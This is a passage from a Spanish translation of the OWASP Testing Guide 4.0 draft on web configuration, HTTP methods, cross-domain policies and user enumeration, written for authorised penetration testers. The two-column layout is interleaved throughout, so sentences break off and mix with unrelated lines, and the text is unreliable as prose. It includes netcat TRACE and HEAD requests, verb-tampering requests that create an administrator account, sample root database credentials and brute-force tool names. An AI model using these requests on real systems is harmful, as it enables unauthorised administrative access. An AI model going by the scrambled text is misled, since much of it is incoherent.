compartida en los servidores Web. bancarios). Esta información sensible puede ser mal utilizada por un
atacante si obtuvo los registros, por ejemplo, a través de interfaces
• Utilice una contraseña de alta seguridad cuando exporte las claves de encriptación administrativas o vulnerabilidades o malas configuraciones conocidas del
para su uso con configuraciones compartidas. servidor web (como la configuración conocida del estado del servidor en
servidores basados en
• Mantenga el acceso restringido a la partición que contiene la configuración
compartida y las claves de encriptado. Si esta partición está comprometida, un Apache HTTP).
atacante podrá leer y escribir cualquier configuración de IIS para los servidores
Web, redirigir el tráfico de su sitio web hacia fuentes maliciosas y, en algunos
casos, obtener el control de todos los servidores web mediante la carga de códigos
arbitrarios en los procesos de trabajo IIS. A menudo, los registros de sucesos contienen datos que son útiles para un
atacante (fuga de información), o pueden ser utilizados directamente en
• Considere proteger esta parte con las reglas del firewall y las directivas de IPsec explotar:
para permitir que únicamente los servidores web miembros se conecten.
• Depuración de la información
Registro
• Rastros de apilamiento
El registro es un aspecto importante de la seguridad de la arquitectura de
una aplicación, ya que puede ser utilizada para detectar fallos en las • Nombres de usuario
aplicaciones (usuarios que intentan constantemente recuperar un archivo
que no existe realmente), así como de ataques sostenidos de los usuarios • Nombres de componentes del sistema
granujas. Los registros no se generan correcta y típicamente por la web y
otro servidor de software. No es común encontrar aplicaciones que • Direcciones IP internas
registran correctamente sus acciones en un registro y, cuando lo hacen, la
intención principal de los registros de aplicación es producir resultados • Datos personales menos sensibles (por ejemplo direcciones de correo electrónico,
de depuración que podría utilizar el programador para analizar un error direcciones postales y números de teléfono asociados con individuos nombrados)
determinado.
• Datos del negocio
• ¿Los datos están siendo validados (min/max longitud, caracteres etc.) antes de ser • Fichas de acceso
registrados?
• Datos personales sensibles y algunas formas de información personal identificable
(PII)
• Contraseñas de autenticación en la misma partición de disco como el que se usa para el software de
sistema operativo o la aplicación en sí. Esto significa que si el disco fuera
• Líneas de conexión de bases de datos llenado, el sistema operativo o la aplicación pueden fallar porque serían
incapaces de escribir en el disco.
• Claves de encriptación
Almacenamiento de registros
Esta característica debe ser probada para asegurarse de que:
• Los registros se comprimen una vez rotados (esto es una comodidad, ya que
significará que más registros se almacenarán en el mismo espacio de disco
lenaría el espacio asignado para los archivos de registro si no están disponible).
prevenidos específicamente de hacerlo. Sin embargo, si el servidor no
está configurado correctamente, los archivos de registro se almacenarán
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
76
Guia de pruebas 4.0 "Borrador"
• El permiso del sistema de archivos de registros rotados es el mismo (o más Las estadísticas del registro o análisis no deben ser generadas ni
estricto) que los permisos del registro de archivos en sí. Por ejemplo, los servidores almacenadas en el mismo servidor que produce los registros. De lo
web deberán escribir en los registros usados, pero no necesitan realmente escribir contrario, un atacante podría, a través de una vulnerabilidad del servidor
en registros rotados, lo que significa que los permisos de los archivos pueden web o configuración inadecuada, tener acceso a ellos y recuperar la
modificarse según la rotación para evitar que el proceso del servidor web los información similar a la que sería revelada por los archivos de registro.
modifique.
Referencias
Algunos servidores podrían rotar registros cuando alcanzan un tamaño
determinado. Si esto sucede, se debe garantizar que un atacante no puede [1] Apache
obligar a rotar registros para ocultar sus huellas.
• Apache Security, by Ivan Ristic, O’reilly, March 2005.
La información del registro de eventos nunca debe ser visible para los • Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox,
usuarios finales. Incluso los administradores web no deberían ver estos October 2002 - awe.com
registros ya que se rompe la separación del servicio de las labores de
control. Asegúrese de que cualquier esquema de control de acceso que se • Performance Tuning - apache.org
utiliza para proteger el acceso a los registros brutos y a cualquier
aplicación que proporciona funcionalidades para ver o buscar los [2] Lotus Domino
registros no estén
• Lotus Security Handbook, William Tworek et al., April 2004, available in
the IBM Redbooks collection - redbooks.ibm.com
conectadas a los esquemas de control de acceso para otros roles de • Lotus Domino Security, an X-force white-paper, Internet Security Systems,
usuario de la aplicación. Asimismo, los datos de registro no deben ser December 2002 - iss.net
visibles por los usuarios no autenticados.
• Hackproofing Lotus Domino Web Server, David Litchfield, October 2001 -
davidlitchfield.com
Para analizar los ataques desde el servidor web, los archivos de registro
• Securing Your Web Server (Patterns and Practices), Microsoft Corporation,
de error deben ser analizados. La revisión debería centrarse en: January 2004
• 40x mensajes de error (not found). Una gran cantidad de ellos de la misma fuente • From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John Davis,
podría ser un indicativo de una herramienta de scanner CGI utilizada contra el Microsoft Corporation, June 2001 -
servidor web
uat.technet.microsoft.com
• 50 x mensajes (server error). Estos pueden ser una indicación de que un atacante
abusa de partes de la aplicación que fallan inesperadamente. Por ejemplo, las • Secure Internet Information Services 5 Checklist, by Michael Howard,
primeras fases de un ataque de inyección SQL producirá estos mensaje de error Microsoft Corporation, June 2000
cuando la consulta SQL no está construida correctamente y su ejecución falla en la
base de datos de acceso restringido. • “INFO: Using URLScan on IIS” - support.microsoft.com
[4] Red Hat’s (formerly Netscape’s) iPlanet debido a que el contenido no es el esperado, o por manejo de nombres de
archivo inesperado del OS.
• Guide to the Secure Configuration and Administration of iPlanet Web
Server, Enterprise Edition 4.1, by James M Hayes - nsa.gov
[5] WebSphere Determinar cómo los servidores web manejan las peticiones
correspondientes a archivos con diferentes extensiones puede ayudar a
• IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter comprender el comportamiento del servidor web según el tipo de
Kovari et al., IBM, December 2002 - redbooks.ibm.com archivos a los que se accede. Por ejemplo, puede ayudar a entender cuáles
extensiones de archivo se devuelven como texto simple frente a aquellos
• IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., que causan alguna ejecución en el lado del servidor. Estos últimos son
IBM, March 2002 - redbooks.ibm.com indicativos de las tecnologías, idiomas o plugins que son utilizados por los
servidores web o servidores de aplicaciones y pueden proporcionar
[6] General
informacion adicional de cómo está diseñada la aplicación web. Por
ejemplo, una extensión de ".pl" es generalmente asociada con un soporte
• Logging Cheat Sheet, OWASP
Perl del lado del servidor. Sin embargo, la extensión de archivo sola
puede ser engañosa y no completamente concluyente. Por ejemplo, Los
• SP 800-92 Guide to Computer Security Log Management, NIST
recursos de servidor Perl pueden cambiarse de nombre para ocultar el
csrc.nist.gov
hecho de que están relacionados con Perl. Vea la siguiente sección sobre
• PCI DSS v2.0 Requirement 10 and PA-DSS v2.0 Requirement 4, PCI "componentes de servidor de web" para más información sobre
Security Standards Council identificación de componentes y tecnologías del lado del servidor.
[7] Generic:
• CERT Security Improvement Modules: Securing Public Web Servers Cómo probar
• “How To: Use IISLockdown.exe” - Envíe solicitudes http[s] que incluyan diferentes extensiones y verifique
cómo se manejan. La verificación debe estar en una base de directorio
http://msdn.microsoft.com/library/en-us/secmod/html/secmod113.asp web
Resumen
Los archivos de extensiones se utilizan en los servidores web para Si la arquitectura de aplicaciones web tiene balanceo de cargas, es
determinar fácilmente qué tecnologías, idiomas y accesorios (plugins) importante evaluar a todos los servidores web. Esto puede o no ser fácil,
deben utilizarse para cumplir con la solicitud web. Si bien este dependiendo de la configuración de la infraestructura de equilibrio. En
comportamiento es compatible con los RFC y estándares Web, utilizar las una infraestructura con componentes redundantes pueden existir ligeras
extensiones de archivo estándar proporciona al evaluador de penetración variaciones en la configuración de los servidores web o de aplicaciones
la información útil sobre las tecnologías subyacentes que se utilizan en individuales . Esto puede suceder si la arquitectura web emplea
una aplicación web y simplifica enormemente la tarea de determinar el tecnologías heterogéneas (piense en un conjunto de servidores web IIS y
escenario de ataque a usar para estas tecnologías en particular. Además, Apache en una configuración de balanceo de carga, que puede presentar
un error de configuración de los servidores web fácilmente podría revelar leves comportamientos asimétricos entre ellos y posiblemente diferentes
información confidencial sobre las credenciales de acceso. vulnerabilidades).
El evaluador ha identificado la existencia de un archivo llamado algunos ejemplos, ya que las extensiones de archivo son demasiadas para
connection.inc. Tratar de acceder a él directamente le devuelve su tratarlas exhaustivamente aquí. Refiérase a http://filext.com/ para ver
contenido: una base de datos más completa de las extensiones.
<?
Para identificar los archivos con una extensión en particular, puede
mysql_connect(“127.0.0.1”, “root”, “”)
emplearse una mezcla de técnicas. Estas técnicas pueden incluir
escáneres de vulnerabilidad, herramientas de robots araña (spidering) y
or die(“Could not connect”);
de reflejo,
?>
inspección manual de la aplicación (esto supera las limitaciones del uso
de robots araña automáticos), consultar motores de búsqueda (ver
El evaluador determina la existencia de un MySQL DBMS de acceso
pruebas: spidering y googling). Vea también pruebas de archivos viejos,
restringido y las credenciales (débiles) que utiliza la aplicación web para
de copia de seguridad y archivos no referenciados que abordan los
acceder a ella.
problemas de seguridad relacionados con los archivos "olvidados".
Si la aplicación web se basa en una infraestructura heterogénea con equilibrio credenciales para conectarse a la interfaz administrativa o al servidor de
de carga, la misma determina si esta puede presentar un comportamiento base de datos.
diferente.
• wget - gnu.org
Es fácil olvidar este tipo de archivos y esto puede plantear una amenaza
• curl - curl.haxx.se
seria a la aplicación. Eso sucede porque se pueden generar copias de
seguridad con extensiones de archivo diferentes a las de los archivos
• google for “web mirroring tools”.
originales. Un archivo .tar, .zip o .gz que generamos (y olvidamos...)
obviamente tiene una extensión diferente, y lo mismo ocurre con las
copias automáticas creadas por muchos editores (por ejemplo, emacs
genera una copia de seguridad denominada archivo~ al editar el archivo).
Revise archivos viejos, copias de seguridad y Hacer una copia a mano puede producir el mismo efecto (piensa en
copiar file a file.old). El sistema de archivo subyacente, en el cual se
archivos no referenciados en busca de encuentra la aplicación, podría estar tomando "instantáneas" de su
información sensible (OTG-CONFIG-004) aplicación en diferentes puntos en el tiempo sin su conocimiento, y
también pueden ser accesibles a través de la web. Estas representan una
Resumen amenaza de estilo similar, pero diferentes al tipo "archivo de respaldo" de
su aplicación.
Mientras que la mayoría de los archivos en un servidor web son
manejados directamente por el servidor, no es raro encontrar archivos no
referenciados u olvidados que pueden utilizarse para obtener
información importante acerca de la infraestructura o las credenciales. Como resultado, estas actividades generan archivos que no son
necesarios para la aplicación y pueden ser tratados de manera distinta al
archivo original por el servidor web. Por ejemplo, si hacemos una copia
de login.asp llamada login.asp.old, estamos permitiendo a los usuarios
Los escenarios más comunes incluyen la presencia de viejas versiones descargar el código de login.asp. Esto es porque login.asp.old será
renombradas de archivos modificados, archivos de inclusión que se atendido normalmente como texto simple, en lugar de ser ejecutado
cargan debido a su extensión. En otras palabras, acceder a login.asp causa la
ejecución del código de login.asp, mientras que acceder a login.asp.old
causa que el contenido de login.asp.old (que es, otra vez, el código del
lado del servidor) se entregue simplemente al usuario y se muestre en el
en el idioma de su preferencia y pueden ser descargados como fuente, o evaluador. Esto puede plantear riesgos de seguridad, dado que
incluso copias de seguridad manuales o automáticas o en forma de información confidencial puede ser revelada.
archivos comprimidos. Los archivos de copias de seguridad también
pueden ser generados automáticamente por el sistema de archivos
subyacente donde se aloja la aplicación, una característica que se conoce
generalmente como "instantáneas". En general, exponer el código del lado del servidor es una mala idea. No
sólo está usted innecesariamente exponiendo la lógica del negocio, sino
que, sin saberlo, usted puede estar develando información relacionada
con la aplicación, lo que puede ayudar a un atacante (nombres de ruta de
Todos estos archivos podrán conceder acceso al evaluador a trabajos acceso, estructuras de datos, etc.). Por no mencionar el hecho de que hay
internos, puertas traseras, interfaces administrativas o incluso muchos scripts que tienen incrustado el usuario y contraseña en texto
claro (que es una práctica imprudente y muy peligrosa).
Disallow: /~jbloggs
Las secciones de comentarios y comentarios de eliminación de los
programadores del código fuente pueden referirse al contenido oculto: Disallow: /include
#!/bin/bash
var adminUser=false;
:
server=www.targetapp.com
if (adminUser) menu.add (new menuItem (“Maintain users”,
“/admin/useradmin.jsp”)); port=80
Dependiendo del servidor, GET puede ser reemplazado con HEAD para
tener resultados más rápidos. El archivo de salida especificado puede
usar la aplicación grep para obtener los códigos de respuesta
"interesantes". El código de respuesta 200 (OK) normalmente indica que
se ha encontrado un recurso válido (siempre y cuando el servidor no
Otra fuente de pistas sobre los directorios no referenciados es el archivo de
entregue una página personalizada de "no encontrada"(not found) con el
/robots.txt utilizado para dar instrucciones a los robots de la web:
código 200). Pero también 302 (Found), 401 (Unauthorized), 403
(Forbidden) y 500 (Internal error), que también pueden indicar recursos
o directorios que son dignos de una investigación posterior.
Nota: Las operaciones de copia de archivos de Windows generan archivos • Además, Google y Yahoo mantienen versiones en caché de páginas
con nombres con el prefijo "Copia de" (Copy of) o versiones localizadas de encontradas por sus robots. Incluso si 1998results.asp ha sido eliminado del
esta cadena, por lo tanto, no cambian las extensiones de archivo. Mientras servidor de destino, una versión de salida puede todavía estar almacenada en
que los archivos "Copia de" (Copy of) típicamente no revelan el código estos motores de búsqueda. La versión en caché puede contener referencias o
fuente cuando se acceden, podrían entregar información valiosa en caso pistas sobre contenido oculto adicional que permanece en el servidor.
de que provoquen errores cuando se les invoca.
• El contenido que no está referenciado desde una aplicación de destino puede
estar vinculado a sitios web de terceros. Por ejemplo, una aplicación que
procesa los pagos en línea a nombre de comerciantes externos puede contener
Información obtenida a través de las vulnerabilidades y mala una variedad de funcionalidades hechas a la medida que pueden
configuración (normalmente) sólo se pueden encontrar (normalmente) siguiendo los enlaces
dentro de las páginas web de sus clientes.
La manera más obvia en que un servidor mal configurado puede revelar
páginas no referenciadas es a través del listado del directorio. Solicite
todos los directorios enumerados para identificar cualquiera que
proporcione un listado de directorios. Filtro de desvío del nombre del archivo
• Apache ?M=D directory listing vulnerability. Ejemplo: Expansión de nombre de archivo 8.3 de Windows "c:\program
files" se convierte "C:\PROGRA~1"
• Various IIS script source disclosure vulnerabilities.
– Remove incompatible characters
• IIS WebDAV directory listing vulnerabilities.
– Convert spaces to underscores
– Add “~<digit>” which is used to distinguish files with names using the same six Para garantizar una estrategia de protección efectiva, la prueba debe
initial characters estar compuesta por una política de seguridad que específicamente
prohíbe las prácticas peligrosas tales como:
- This convention changes after the first 3 cname ollisions
•Las herramientas robot tipo araña: wget (gnu.org, interlog.com); Sam Spade Deny from all
(samspade.org); Spike Proxy incluyen una función de rastreador del sitio web
(immunitysec.com); Xenu (home.snafu.de); Curl (curl.haxx.se). Algunos de </Location>
ellos también se incluyen en las distribuciones estándar de Linux.
Las interfases del administrador se pueden presentar en la aplicación o enviadas al cliente, enlaces a las funcionalidades de administrador, pueden
en el servidor de aplicaciones para permitir que determinados usuarios descubrirse y deben investigarse.
puedan llevar a cabo actividades privilegiadas en el sitio. Se deben
realizar pruebas para revelar sí y cómo esta funcionalidad privilegiada
puede ser accesada por un usuario no autorizado o estándar.
• Revisar el servidor y la documentación de aplicaciones. Si el servidor de
aplicaciones o la aplicación se implementa en su configuración por defecto, es
posible acceder a la interfaz de administración con la información descrita
Una aplicación puede requerir una interfaz de administrador para
habilitar un usuario con privilegios con acceso a funciones que pueden
realizar cambios de cómo funciona el sitio. Tales cambios pueden incluir:´
en la documentación de configuración o ayuda. Las listas de contraseñas por
defecto deben consultarse si se encuentra una interfaz administrativa y se requieren
credenciales.
• Provisionamiento de cuentas de usuario
• Información disponible para el público p. Muchas aplicaciones como wordpress
• Diseño y diagramación del sitio tienen interfaces administrativas por defecto.
• Manipulación de datos • Puerto de servidor alternativo. Las interfaces de administración pueden ser
encontradas en un puerto diferente en el host de la aplicación principal. Por
• Cambios en la configuración ejemplo, a menudo puede verse la interfaz de administración de Apache Tomcat en
el puerto 8080.
Cómo Probar
En la siguiente sección se describen vectores que pueden utilizarse para o en una cookie:
probar la presencia de interfaces administrativas. Estas técnicas también
pueden utilizarse para probar temas relacionados que incluyen la Cookie: session_cookie; useradmin=0
elevación de privilegios y se describen en otros sitios de esta guía (por
ejemplo Pruebas para eludir el esquema de autorización (OTG-AUTHZ-
002) y Pruebas de referencias de objetos directos inseguros (OTG-
AUTHZ-004) en mayor detalle.
Aunque GET y POST son los métodos más comunes que se utilizan para
acceder a la información proporcionada por un servidor web, el protocolo
El código fuente debe ser revisado para asegurar que el modelo de de transferencia de hipertexto (HTTP) permite varios otros métodos( y
autorización y autenticación garantiza la separación clara de funciones algunos menos conocidos). RFC 2616 (que describe al HTTP versión 1.1
entre los usuarios normales y los administradores. Las funciones de la que es el estándar hoy en día) define los siguientes ocho métodos:
interfaz de usuario compartidas entre usuarios normales y
administradores deben ser revisadas para garantizar una separación
clara entre el dibujo de dichos componentes y la información que puede
fugarse de tal funcionalidad. • HEAD
• GET
Herramientas • POST
• PUT
• Dirbuster este proyecto OWASP actualmente inactivo sigue siendo una gran • DELETE
herramienta para forzar directorios y archivos en el servidor.
• TRACE
• THC-HYDRA es una herramienta que permite forzar muchas interfaces,
incluyendo la autenticación HTTP basada en formularios. • OPTIONS
• Un forzador es mucho mejor cuando usa un buen diccionario, por ejemplo, el • CONNECT
diccionario de netsparker.
Pruebe los métodos HTTP (OTG-CONFIG- • DELETE: Este método permite a un cliente eliminar un archivo en el
006) servidor web. Un atacante puede explotarlo como una forma muy simple
y directa para modificar un sitio web o para montar un ataque DoS.
OPTIONS / HTTP/1.1
Host: www.victim.com
Métodos HTTP Arbitrarios
En muchos casos, el código que comprueba explícitamente un método Nota: para entender la lógica y los objetivos de este ataque, uno debe
"GET" o "POST" sería seguro. estar familiarizado con los ataques de Cross Site Scripting.
• Aprovechando una vulnerabilidad del lado del cliente: el atacante crea un sitio
$ nc www.victim.com 80
web malicioso que contiene el fragmento del código hostil de JavaScript y
aprovecha alguna vulnerabilidad entre dominios del navegador de la víctima ,
TRACE / HTTP/1.1
para que el código JavaScript pueda realizar con éxito una conexión con el sitio
que soporta el método TRACE y que originó la cookie que el atacante está
Host: www.victim.com
tratando de robar.
HTTP/1.1 200 OK
Información más detallada, junto con ejemplos de código, puede
encontrarse en el documento original escrito por Jeremiah Grossman.
Server: Microsoft-IIS/5.0
Content-Type: message/http Encuentre una página para visitar que tenga una restricción de seguridad
que normalmente obligaría una redirección 302 hacia una página de
Content-Length: 39 registro o fuerce un registro directamente. La URL de la prueba en este
ejemplo funciona así, como lo hacen muchas aplicaciones web. Sin
embargo, si un evaluador obtiene una respuesta "200" que no es una
página de registro, es posible eludir la autenticación y autorización.
TRACE / HTTP/1.1
Si el framework, firewall o la aplicación no admite el método de "JEFF",
debe $emitir una página de error
nc www.example.com 80 (o preferiblemente un 405 Not Allowed o
501 Not implemented error page). Si sirve a la solicitud, es vulnerable a
El contenido de la respuesta es exactamente una copia de nuestra este problema.
JEFF / HTTP/1.1
petición original, lo que significa que el objetivo permite este método.
Ahora, ¿dónde está el peligro acechando? Si el evaluador indica un Host: www.example.com
navegador para emitir una petición TRACE al servidor web, y este
navegador tiene una cookie para ese dominio, la cookie se incluirá Si el evaluador siente que el sistema es vulnerable a este problema, debe
automáticamente en los encabezados de la solicitud y, por lo tanto, se publicar ataques tipo CSRF para explotar el tema más plenamente:
HTTP/1.1 200 OK
muestran en la respuesta resultante. En ese momento, la cadena de la
cookie será accesible por JavaScript y será finalmente posible enviarla a
Date: Mon, 18 Aug 2008 22:38:40 GMT
un tercero, así la cookie esté etiquetada como httpOnly.
• FOOBAR/admin/createUser.php?member=myAdmin
Server: Apache
• JEFF/admin/changePw.php?member=myAdmin&passwd=
Set-Cookie: PHPSESSID=K53QW...
Hay varias maneras de hacer que un navegador emita una solicitud
foo123&confirm=foo123
TRACE, tales como el control XMLHTTP ActiveX en Internet Explorer y
XMLDOM en Mozilla y Netscape. Sin embargo, por razones de seguridad,
• CATS /admin/groupEdit.php?group=Admins&member=myAd
al navegador se le permite iniciar una conexión sólo con el dominio donde
reside el script hostil. Este es un factor atenuante, ya que el atacante debe
min&action=add
combinar el método TRACE con otra vulnerabilidad para montar el
ataque.
Con suerte, usando los tres comandos anteriores que han sido
modificados para adaptarse a la aplicación sometida a la prueba y los
Un atacante tiene dos formas de lanzar con éxito un ataque de Cross Site
requisitos de prueba, se debe crear un nuevo usuario, con una contraseña
Tracing:
asignada y hacelo administrador.
Pruebas para omitir el control de acceso HEAD Si el evaluador piensa que el sistema es vulnerable a este problema, debe
emitir ataques tipo CSRF para explotar el tema más plenamente:
Encuentre una página para visitar que tenga una restricción de seguridad
que normalmente obligaría una redirección 302 a una página de registro
o fuerce un registro directamente. La URL de prueba en este ejemplo
funciona así, como lo hacen muchas aplicaciones web. Sin embargo, si el • HEAD /admin/createUser.php?member=myAdmin
evaluador obtiene una respuesta "200" que no es una página de inicio de
sesión, es posible eludir la autenticación y autorización. • HEAD /admin/changePw.php?member=myAdmin&passwd=
foo123&confirm=foo123
$ nc www.example.com 80
• HEAD /admin/groupEdit.php?group=Admins&member=myAd
HEAD /admin HTTP/1.1
min&action=add
Host: www.example.com
Server: Apache
Pragma: no-cache
Referencias
Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009
22:44:31 GMT; domain=www.example.com Libros Blancos
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 • RFC 2616: “Hypertext Transfer Protocol -- HTTP/1.1”
22:54:31 GMT; domain=www.example.com
• RFC 2109 and RFC 2965: HTTP State Management Mechanism”
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007
22:44:30 GMT; domain=www.example.com
Connection: close • Amit Klein: “XS(T) attack variants which can, in some cases, eliminate the
need for TRACE” - securityfocus.com
Si el evaluador obtiene un "405 Method not allowed " o "501 Method • Arshan Dabirsiaghi: “Bypassing VBAAC with HTTP Verb Tampering” -
Unimplemented", el objetivo static.swpag.info
aplicación/framework/lenguaje/sistema/firewall) está funcionando
correctamente. Si regresa un código de respuesta "200", y la respuesta no
contiene ningúna información, es probable que la aplicación ha procesado
la solicitud sin autenticación o autorización y se deben realizar pruebas
para certificarlas.
Pruebe el HTTP Strict Transport Security
(OTG-CONFIG-007)
Resumen
Considerando la importancia de esta medida de seguridad, es importante $ curl -s -D- https://domain.com/ | grep Strict
verificar que el sitio web utilice este encabezado HTTP, para garantizar
que todos los datos viajan encriptados desde el navegador al servidor.
Resultado esperado:
La función HTTP Strict Transport Security (HSTS) permite a una Strict-Transport-Security: max-age=...
aplicación web informar al navegador, mediante el uso de un encabezado
de respuesta especial, que nunca debe establecer una conexión con los
servidores de dominio especificados mediante HTTP. En su lugar debe
Referencias
establecer automáticamente todas las solicitudes de conexión para
acceder al sitio a través de HTTPS.
• OWASP HTTP Strict Transport Security - owasp.org
Resumen
Este es un ejemplo de la aplicación de la Rúbrica HSTS:
Aplicaciones Enriquecidas de Internet (RIA) han adoptado los archivos de
Strict-Transport-Security: max-age=60000; includeSubDomains
políticas de Adobe crossdomain.xml para permitir el acceso controlado de
dominio cruzado para consumo de datos y servicios, utilizando
tecnologías como Oracle Java, Silverlight y Adobe Flash. Por lo tanto, un
dominio puede conceder acceso remoto a sus servicios desde un dominio
El uso del encabezado por parte de las aplicaciones web debe revisarse
diferente. Sin embargo, a menudo los archivos de políticas que describen
para encontrar si podrían producirse los siguientes problemas de
las restricciones de acceso se configuran pobremente. Una configuración
seguridad:
pobre de los archivos de directivas permite ataques de Cross-site Request
Forgery (Falsificación de peticiones de sitios cruzados) y puede permitir
a terceros acceder a los datos sensibles para el usuario.
• Los atacantes olfateando el tráfico de red y accediendo a la información
transferida a través de un canal sin codificar.
• Los atacantes explotando un ataque de intermediario (man in the middle) ¿Cuáles son los archivos de directivas entre dominios?
debido al problema de aceptar certificados que no son de
Un archivo de políticas de dominios cruzados especifica los permisos que
confianza. un cliente web como Java, Adobe Flash, Adobe Reader, etc. utilizan para
acceder a datos entre dominios diferentes. Para Silverlight, Microsoft
• Los usuarios que entraron por error una dirección en el navegador, poniendo adoptó un subconjunto del crossdomain.xml de Adobe y, además, creó su
HTTP en lugar de HTTPS, o usuarios que hagan clic en un vínculo en una propio archivo de directivas entre dominios: clientaccesspolicy.xml.
aplicación web que indicó por error el protocolo HTTP.
<?xml version=”1.0”?>
Cada vez que un cliente web detecta que un recurso tiene que ser
<!DOCTYPE cross-domain-policy SYSTEM
solicitado a otro dominio, primero buscará un archivo de políticas en el
dominio de destino para determinar si puede realizar peticiones de
“http://www.adobe.com/xml/dtds/cross-domain-policy.dtd”>
dominio cruzado, incluyendo encabezados, y si se permiten los enlaces
basados en tomas de conexión (socket-based connections) .
<cross-domain-policy>
<site-control permitted-cross-domain-policies=”all”/>
Los archivos maestros de políticas se encuentran en la raíz del dominio. <allow-access-from domain=”*” secure=”false”/>
Un cliente puede recibir instrucciones para cargar un archivo de políticas
diferentes, pero siempre comprobará el archivo maestro de política <allow-http-request-headers-from domain=”*” headers=”*”
primero, para asegurarse de que el archivo maestro de políticas permite secure=”false”/>
el archivo de políticas solicitado.
</cross-domain-policy>
La mayoría de las aplicaciones RIA soportan crossdomain.xml. Sin ¿Cómo pueden los archivos de políticas de dominios cruzados ser
embargo, en el caso de Silverlight, solo le está permitido funcionar si forzados?
crossdomain.xml especifica que el acceso se permite desde cualquier
dominio. Para un control más detallado con Silverlight, debe usarse • Políticas de dominios cruzados excesivamente permisivas.
clientaccesspolicy.xml.
• Que generan respuestas del servidor que pueden ser tratadas como
archivos de políticas de dominios cruzados.
Los archivos de políticas conceden varios tipos de permisos: • Que usan la funcionalidad de carga de archivos para subirlos y tratarlos
como archivos de políticas de dominios cruzados.
• Permisos de encabezados • Leer datos restringidos o que estaban protegidos por políticas de origen
cruzado.
• Permisos de acceso HTTP/HTTPS
http://www.owasp.org/crossdomain.xml and
http://www.owasp.org/clientaccesspolicy.xml.
Ejemplo:
Pruebe las Definiciones de Roles (OTG-
<cross-domain-policy>
IDENT-001)
<allow-access-from domain=”*” />
Resumen
</cross-domain-policy>
Es común en las empresas modernas definir funciones de sistema para la
gestión de usuarios y autorización de recursos del sistema. En la mayoría
de las implementaciones de sistema, se espera que existan al menos dos
Resultado esperado: funciones: los administradores y usuarios regulares. El primero
representa un papel que permite el acceso a la funcionalidad privilegiada
e información sensible; el segundo que representa un papel que permite
el acceso a información y funcionalidad del negocio regular. Los roles
• una lista de archivos de políticas encontrados. bien desarrollados deben estar alineados con los procesos de negocio que
están soportados por la aplicación.
• Una configuración débil en las políticas.
• Adobe: “Cross-domain policy file usage recommendations for Flash Player” Pruebe los objetivos
- adobe.com
• Ingeniería de roles
Cómo probar • Crear mapas de los roles del negocio a los roles del sistema
Con o sin ayuda de los desarrolladores del sistema o administradores, • Separación de funciones
desarrolle un rol versus la matriz de permisos. La matriz debe enumerar
todos los roles que pueden ser provisionados y explorar los permisos que
pueden aplicarse a los objetos, así como las restricciones. Si una matriz es
proporcionada con la aplicación, esta debe ser validada por el evaluador;
Pruebe el Proceso de Registro del Usuario
si no existe, el evaluador debe generar y determinar si la matriz satisface
las políticas de acceso deseado por la aplicación. (OTG-IDENT-002)
Resumen
Ejemplo Algunos sitios web ofrecen un proceso de registro del usuario, que
automatiza (o semi-automatiza) la creación del acceso al sistema para los
Un ejemplo real de definiciones de roles se puede encontrar en la usuarios. Los requisitos de identidad para el acceso varían desde
documentación de funciones de WordPress [1]. WordPress tiene seis identificación positiva a ninguna en absoluto, dependiendo de los
roles por defecto desde Super Administrador hasta Suscriptor. requisitos de seguridad del sistema. Muchas aplicaciones públicas
automatizan totalmente el registro y el proceso de provisionamiento
porque el tamaño de la base de usuarios hace que sea imposible
manejarla manualmente. Sin embargo, muchas aplicaciones corporativas
provisionan usuarios manualmente, por lo que este tipo de prueba puede
no ser aplicable.
Objetivos de la prueba
Referencias
[1] ¿Cualquier persona puede registrarse para acceder?
[1] Role Engineering for Enterprise Security Management, E Coyne & J
Davis, 2007
[2] ¿Son validados por un ser humano antes de crear los registros, o se
conceden automáticamente si se cumplen los criterios?
[2] Role engineering and RBAC standards
Un proxy HTTP puede ser una herramienta útil para probar este control.
Referencias
[2] ¿Puede el intercambio de información durante el registro ser Diseño de registro de usuarios
manipulado?
Remediación
Ejemplo
Implemente una identificación y verificación de requisitos que
En el siguiente ejemplo de WordPress, el único requisito de identificación corresponden a los requisitos de seguridad de la información que las
es una dirección de correo electrónico accesible a la persona registrada. credenciales protegen.
Objetivos de la Prueba
En cambio, en el ejemplo de Google a continuación, la identificación de Verifique qué cuentas pueden aprovisionar otras cuentas y de qué tipo.
requisitos incluye nombre, fecha de nacimiento, país, número de teléfono
móvil, dirección de correo electrónico y respuesta CAPTCHA. Mientras
que sólo dos de estos pueden verificarse (dirección email y número de
móvil), los requisitos de identificación son más estrictos que en Cómo probar
WordPress.
Herramientas
• ¿Puede un administrador o usuario eliminar su cuenta? Aunque el enfoque más exhaustivo y exacto para completar esta prueba
es llevarla a cabo manualmente, las herramientas de proxy HTTP tambien
pueden ser útiles.
• ¿Cómo son gestionados los archivos o recursos propiedad del usuario eliminado?
¿Se eliminan? ¿Se transfiere el acceso?
El evaluador debe interactuar con el mecanismo de autenticación de la El navegador debe mostrar un mensaje similar al siguiente:
aplicación para entender si, enviando peticiones en particular, se logra
que la aplicación responda de diferentes maneras. Este problema existe
porque la información de aplicación web o servidor web es diferente
cuando el usuario proporciona un nombre de usuario válido que cuando
usa uno no válido.
Cómo probar
Resultado esperado:
http://www.foo.com/err.jsp?User=gooduser&Error=2
Generalmente, la aplicación debe responder con el mismo mensaje de
error y la longitud a las distintas solicitudes incorrectas. Si las respuestas
no son iguales, el evaluador debe investigar y averiguar la clave que crea Como se ve arriba, cuando un evaluador proporciona un ID de usuario y
una diferencia entre las dos respuestas. Por ejemplo: una contraseña a la aplicación web, ven un mensaje que indica que se ha
producido un error en la URL. En el primer caso han proporcionado un ID
de usuario equivocado y una contraseña equivocada. En el segundo, un ID
de usuario correcto y una contraseña equivocada, así que pueden
• Solicitud del cliente: usuario válido/ contraseña inválida--> identificar un ID de usuario válido.
• Solicitud del cliente: : usuario inválido/ contraseña inválida --> -Sondeo de una URI
Respuesta del servidor: 'Usuario no reconocido' A veces un servidor web responde diferente si recibe una solicitud de un
directorio existente o no. Por ejemplo, en algunos portales, cada usuario
está asociado con un directorio. Si los evaluadores intentan acceder a un
